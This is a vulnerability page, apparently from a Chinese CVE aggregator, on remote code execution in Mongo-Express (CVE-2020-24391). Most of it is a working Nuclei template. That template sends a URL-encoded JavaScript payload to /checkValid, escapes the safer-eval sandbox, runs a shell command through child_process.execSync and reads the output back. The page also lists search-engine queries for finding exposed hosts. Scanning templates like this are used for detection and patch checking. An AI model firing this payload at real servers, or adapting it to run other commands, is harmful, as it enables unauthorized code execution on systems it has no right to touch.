CVE-2020-24391: Mongo-Express - Remote Code Execution

日期: 2025-08-01 | 影响软件: Mongo-Express | POC: 已公开

漏洞描述

Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.

PoC代码[已公开]

id: CVE-2020-24391

info:
  name: Mongo-Express - Remote Code Execution
  author: leovalcante
  severity: critical
  description: Mongo-Express before 1.0.0 is susceptible to remote code execution because it uses safer-eval to validate user supplied javascript. Unfortunately safer-eval sandboxing capabilities are easily bypassed leading to remote code execution in the context of the node server.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-131-mongo-express/
    - https://github.com/mongo-express/mongo-express/commit/3a26b079e7821e0e209c3ee0cc2ae15ad467b91a
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24391
    - https://github.com/mongodb-js/query-parser/issues/16
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-24391
    epss-score: 0.90677
    epss-percentile: 0.99601
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 3
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query: http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2020,mongo,express,rce,intrusive,mongo-express_project,node.js

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        document=++++++++++++%28%28%29+%3D%3E+%7B%0A++++++++const+process+%3D+clearImmediate.constructor%28%22return+process%3B%22%29%28%29%3B%0A++++++++const+result+%3D+process.mainModule.require%28%22child_process%22%29.execSync%28%22id+%3E+build%2Fcss%2F{{randstr}}.css%22%29%3B%0A++++++++console.log%28%22Result%3A+%22+%2B+result%29%3B%0A++++++++return+true%3B%0A++++%7D%29%28%29++++++++
      - |
        GET /public/css/{{randstr}}.css HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body_3
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4a0a004730450220256598be99876d46484853aacd41c1365c4df8905f426daa4981d4061b91792a022100fcec0f99f1dd52c7d50a4baf2dd9912d058fefc9112d009939be972b15b9fed7:922c64590222798bb761d5b6d8e72950

相关漏洞推荐